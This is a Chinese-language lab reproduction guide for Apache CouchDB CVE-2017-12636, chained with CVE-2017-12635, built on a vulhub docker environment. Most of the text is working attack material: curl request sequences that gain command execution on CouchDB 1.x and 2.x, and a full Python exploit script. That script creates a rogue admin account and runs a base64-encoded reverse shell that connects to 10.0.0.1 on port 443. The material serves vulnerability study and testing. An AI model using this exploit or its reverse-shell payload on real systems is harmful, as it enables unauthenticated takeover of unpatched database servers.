Couchdb 任意命令执行 (CVE-2017-12636)
0x01漏洞概述
Apache CouchDB是一个面向文档的开源NoSQL数据库,在Erlang中实现。CouchDB 使用多种格式和协议来存储、传输和处理其数据。它使用JSON来存储数据,使用MapReduce将JavaScript作为其查询语言,并使用HTTP作为API。
CouchDB 管理用户可以通过 HTTP(S) 配置数据库服务器。一些配置选项包括随后由 CouchDB 启动的操作系统级二进制文件的路径。这允许Apache CouchDB中1.7.0之前的管理员用户和2.1.1之前的2.x中的管理员用户以CouchDB用户的身份执行任意shell命令,包括从公共互联网下载和执行脚本。
将 CVE-2017-12635 和 CVE-2017-12636 链接起来,以获取未经身份验证的远程命令执行。
0x02影响版本
小于 1.7.0 以及 小于 2.1.1
0x03漏洞环境
1、启动漏洞环境
┌──(root💀kali)-[/home/kali/vulhub/couchdb/CVE-2017-12636]
└─# docker-compose up -d
2、使用CVE-2017-12635添加管理员用户
管理员账号密码均为vulhub
3、复现完成以后,删除漏洞环境
┌──(root💀kali)-[/home/kali/vulhub/couchdb/CVE-2017-12636]
└─# docker-compose down
0x04复现过程
1、1.X以下的漏洞利用
执行如下请求即可触发任意命令执行
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
其中,vulhub为管理员账号密码。
第一个请求是添加一个名字为'cmd'的'query_servers',其值为'"id >/tmp/success"',这就是我们后面待执行的命令。
第二、三个请求是添加一个Database和Document,这里添加了后面才能查询。
第四个请求就是在这个Database里进行查询,因为我将language设置为'cmd',这里就会用到我第一步里添加的名为'cmd'的'query_servers',最后触发命令执行。
2、2.X以下漏洞利用
Couchdb 2.x 引入了集群,浏览器/_membership获取节点列表
curl http://vulhub:vulhub@your-ip:5984/_membership
可见,我们这里只有一个节点,名字是nonode@nohost。 然后,我们修改nonode@nohost的配置:
curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'
然后,与 1.6.0 的利用方式相同,我们先增加了一个数据库和一个文档:
curl -X PUT 'http://vulhub:vulhub@192.168.44.132:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@192.168.44.132:5984/vultest/vul' -d '{"_id": "770895a97726d5ca6d70a22173005c7b"}'
Couchdb 2.x 已移除_temp_view,因此我们需要添加一个view以触发 中定义的命令query_servers:
curl -X PUT http://vulhub:vulhub@192.168.44.132:5984/vultest/_design/vul -d '{"_id":"_design/test", "views":{"woyun":{"map":""} }," language": "cmd"}' -H "Content-Type: application/json"
然后query_servers将执行输入的命令。
3、poc脚本
将脚本中的目标和命令修改为测试目标,然后将版本修改为相应的 Couchdb 版本(1 或 2),并成功获取反向 shell。
github网址:
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
脚本如下:
#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth
target = 'http://your-ip:5984'
command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1"""
version = 1
session = requests.session()
session.headers = {
'Content-Type': 'application/json'
}
# session.proxies = {
# 'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
"type": "user",
"name": "wooyun",
"roles": ["_admin"],
"roles": [],
"password": "wooyun"
}''')
session.auth = HTTPBasicAuth('wooyun', 'wooyun')
command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:
session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:
host = session.get(target + '/_membership').json()['all_nodes'][0]
session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))
session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
if version == 1:
session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')